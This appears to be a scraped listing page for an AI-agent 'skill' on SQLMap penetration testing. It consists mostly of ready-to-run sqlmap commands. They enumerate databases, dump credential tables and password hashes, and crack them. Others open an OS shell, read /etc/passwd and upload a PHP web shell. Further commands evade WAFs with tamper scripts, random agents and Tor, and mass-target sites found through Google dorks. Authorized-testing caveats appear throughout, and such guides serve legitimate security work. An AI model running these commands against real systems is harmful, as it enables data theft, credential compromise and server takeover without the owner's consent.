sqlmap database penetration testing

仓库: zebbern/claude-code-guide
安装量: 42
排名: #17284

安装

npx skills add https://github.com/sickn33/antigravity-awesome-skills --skill 'SQLMap Database Penetration Testing'
SQLMap Database Penetration Testing
Purpose
Provide systematic methodologies for automated SQL injection detection and exploitation using SQLMap. This skill covers database enumeration, table and column discovery, data extraction, multiple target specification methods, and advanced exploitation techniques for MySQL, PostgreSQL, MSSQL, Oracle, and other database management systems.
Inputs / Prerequisites
Target URL
Web application URL with injectable parameter (e.g.,
?id=1
)
SQLMap Installation
Pre-installed on Kali Linux or downloaded from GitHub
Verified Injection Point
URL parameter confirmed or suspected to be SQL injectable
Request File (Optional)
Burp Suite captured HTTP request for POST-based injection
Authorization
Written permission for penetration testing activities
Outputs / Deliverables
Database Enumeration
List of all databases on the target server
Table Structure
Complete table names within target database
Column Mapping
Column names and data types for each table
Extracted Data
Dumped records including usernames, passwords, and sensitive data
Hash Values
Password hashes for offline cracking
Vulnerability Report
Confirmation of SQL injection type and severity Core Workflow 1. Identify SQL Injection Vulnerability Manual Verification

Add single quote to break query

http://target.com/page.php?id

1 '

If error message appears, likely SQL injectable

Error example: "You have an error in your SQL syntax"

Initial SQLMap Scan

Basic vulnerability detection

sqlmap -u "http://target.com/page.php?id=1" --batch

With verbosity for detailed output

sqlmap
-u
"http://target.com/page.php?id=1"
--batch
-v
3
2. Enumerate Databases
List All Databases
sqlmap
-u
"http://target.com/page.php?id=1"
--dbs
--batch
Key Options:
-u
Target URL with injectable parameter
--dbs
Enumerate database names
--batch
Use default answers (non-interactive mode)
3. Enumerate Tables
List Tables in Specific Database
sqlmap
-u
"http://target.com/page.php?id=1"
-D
database_name
--tables
--batch
Key Options:
-D
Specify target database name
--tables
Enumerate table names
4. Enumerate Columns
List Columns in Specific Table
sqlmap
-u
"http://target.com/page.php?id=1"
-D
database_name
-T
table_name
--columns
--batch
Key Options:
-T
Specify target table name
--columns
Enumerate column names
5. Extract Data
Dump Specific Table Data
sqlmap
-u
"http://target.com/page.php?id=1"
-D
database_name
-T
table_name
--dump
--batch
Dump Specific Columns
sqlmap
-u
"http://target.com/page.php?id=1"
-D
database_name
-T
users
-C
username,password
--dump
--batch
Dump Entire Database
sqlmap
-u
"http://target.com/page.php?id=1"
-D
database_name --dump-all
--batch
Key Options:
--dump
Extract all data from specified table
--dump-all
Extract all data from all tables
-C
Specify column names to extract 6. Advanced Target Options Target from HTTP Request File

Save Burp Suite request to file, then:

sqlmap -r /path/to/request.txt --dbs --batch Target from Log File

Feed log file with multiple requests

sqlmap -l /path/to/logfile --dbs --batch Target Multiple URLs (Bulk File)

Create file with URLs, one per line:

http://target1.com/page.php?id=1

http://target2.com/page.php?id=2

sqlmap -m /path/to/bulkfile.txt --dbs --batch Target via Google Dorks (Use with Caution)

Automatically find and test vulnerable sites (LEGAL TARGETS ONLY)

sqlmap -g "inurl:?id= site:yourdomain.com" --batch Quick Reference Commands Database Enumeration Progression Stage Command List Databases sqlmap -u "URL" --dbs --batch List Tables sqlmap -u "URL" -D dbname --tables --batch List Columns sqlmap -u "URL" -D dbname -T tablename --columns --batch Dump Data sqlmap -u "URL" -D dbname -T tablename --dump --batch Dump All sqlmap -u "URL" -D dbname --dump-all --batch Supported Database Management Systems DBMS Support Level MySQL Full Support PostgreSQL Full Support Microsoft SQL Server Full Support Oracle Full Support Microsoft Access Full Support IBM DB2 Full Support SQLite Full Support Firebird Full Support Sybase Full Support SAP MaxDB Full Support HSQLDB Full Support Informix Full Support SQL Injection Techniques Technique Description Flag Boolean-based blind Infers data from true/false responses --technique=B Time-based blind Uses time delays to infer data --technique=T Error-based Extracts data from error messages --technique=E UNION query-based Uses UNION to append results --technique=U Stacked queries Executes multiple statements --technique=S Out-of-band Uses DNS or HTTP for exfiltration --technique=Q Essential Options Option Description -u Target URL -r Load HTTP request from file -l Parse targets from Burp/WebScarab log -m Bulk file with multiple targets -g Google dork (use responsibly) --dbs Enumerate databases --tables Enumerate tables --columns Enumerate columns --dump Dump table data --dump-all Dump all database data -D Specify database -T Specify table -C Specify columns --batch Non-interactive mode --random-agent Use random User-Agent --level Level of tests (1-5) --risk Risk of tests (1-3) Constraints and Limitations Operational Boundaries Requires valid injectable parameter in target URL Network connectivity to target database server required Large database dumps may take significant time Some WAF/IPS systems may block SQLMap traffic Time-based attacks significantly slower than error-based Performance Considerations Use --threads to speed up enumeration (default: 1) Limit dumps with --start and --stop for large tables Use --technique to specify faster injection method if known Legal Requirements Only test systems with explicit written authorization Google dork attacks against unknown sites are illegal Document all testing activities and findings Respect scope limitations defined in engagement rules Detection Risk SQLMap generates significant log entries Use --random-agent to vary User-Agent header Consider --delay to avoid triggering rate limits Proxy through Tor with --tor for anonymity (authorized tests only) Examples Example 1: Complete Database Enumeration

Step 1: Discover databases

sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs --batch

Result: acuart database found

Step 2: List tables

sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart --tables --batch

Result: users, products, carts, etc.

Step 3: List columns

sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --columns --batch

Result: username, password, email columns

Step 4: Dump user credentials

sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --dump --batch Example 2: POST Request Injection

Save Burp request to file (login.txt):

POST /login.php HTTP/1.1

Host: target.com

Content-Type: application/x-www-form-urlencoded

username=admin&password=test

Run SQLMap with request file

sqlmap -r /root/Desktop/login.txt -p username --dbs --batch Example 3: Bulk Target Scanning

Create bulkfile.txt:

echo "http://192.168.1.10/sqli/Less-1/?id=1"

bulkfile.txt echo "http://192.168.1.10/sqli/Less-2/?id=1"

bulkfile.txt

Scan all targets

sqlmap -m bulkfile.txt --dbs --batch Example 4: Aggressive Testing

High level and risk for thorough testing

sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --level = 5 --risk = 3

Specify all techniques

sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --technique = BEUSTQ Example 5: Extract Specific Credentials

Target specific columns

sqlmap -u "http://target.com/page.php?id=1" \ -D webapp \ -T admin_users \ -C admin_name,admin_pass,admin_email \ --dump --batch

Automatically crack password hashes

sqlmap -u "http://target.com/page.php?id=1" \ -D webapp \ -T users \ --dump --batch \ --passwords Example 6: OS Shell Access (Advanced)

Get interactive OS shell (requires DBA privileges)

sqlmap -u "http://target.com/page.php?id=1" --os-shell --batch

Execute specific OS command

sqlmap -u "http://target.com/page.php?id=1" --os-cmd = "whoami" --batch

File read from server

sqlmap -u "http://target.com/page.php?id=1" --file-read = "/etc/passwd" --batch

File upload to server

sqlmap
-u
"http://target.com/page.php?id=1"
--file-write
=
"/local/shell.php"
--file-dest
=
"/var/www/html/shell.php"
--batch
Troubleshooting
Issue: "Parameter does not seem injectable"
Cause
SQLMap cannot find injection point Solution :

Increase testing level and risk

sqlmap -u "URL" --dbs --batch --level = 5 --risk = 3

Specify parameter explicitly

sqlmap -u "URL" -p "id" --dbs --batch

Try different injection techniques

sqlmap -u "URL" --dbs --batch --technique = BT

Add prefix/suffix for filter bypass

sqlmap
-u
"URL"
--dbs
--batch
--prefix
=
"'"
--suffix
=
"-- -"
Issue: Target Behind WAF/Firewall
Cause
Web Application Firewall blocking requests Solution :

Use tamper scripts

sqlmap -u "URL" --dbs --batch --tamper = space2comment

List available tamper scripts

sqlmap --list-tampers

Common tamper combinations

sqlmap -u "URL" --dbs --batch --tamper = space2comment,between,randomcase

Add delay between requests

sqlmap -u "URL" --dbs --batch --delay = 2

Use random User-Agent

sqlmap
-u
"URL"
--dbs
--batch
--random-agent
Issue: Connection Timeout
Cause
Network issues or slow target Solution :

Increase timeout

sqlmap -u "URL" --dbs --batch --timeout = 60

Reduce threads

sqlmap -u "URL" --dbs --batch --threads = 1

Add retries

sqlmap
-u
"URL"
--dbs
--batch
--retries
=
5
Issue: Time-Based Attacks Too Slow
Cause
Default time delay too conservative Solution :

Reduce time delay (risky, may cause false negatives)

sqlmap -u "URL" --dbs --batch --time-sec = 3

Use boolean-based instead if possible

sqlmap
-u
"URL"
--dbs
--batch
--technique
=
B
Issue: Cannot Dump Large Tables
Cause
Table has too many records Solution :

Limit number of records

sqlmap -u "URL" -D db -T table --dump --batch --start = 1 --stop = 100

Dump specific columns only

sqlmap -u "URL" -D db -T table -C username,password --dump --batch

Exclude specific columns

sqlmap
-u
"URL"
-D
db
-T
table
--dump
--batch
--exclude-sysdbs
Issue: Session Drops During Long Scan
Cause
Session timeout or connection reset Solution :

Save and resume session

sqlmap -u "URL" --dbs --batch --output-dir = /root/sqlmap_session

Resume from saved session

sqlmap -u "URL" --dbs --batch --resume

Use persistent HTTP connection

sqlmap -u "URL" --dbs --batch --keep-alive

← 返回排行榜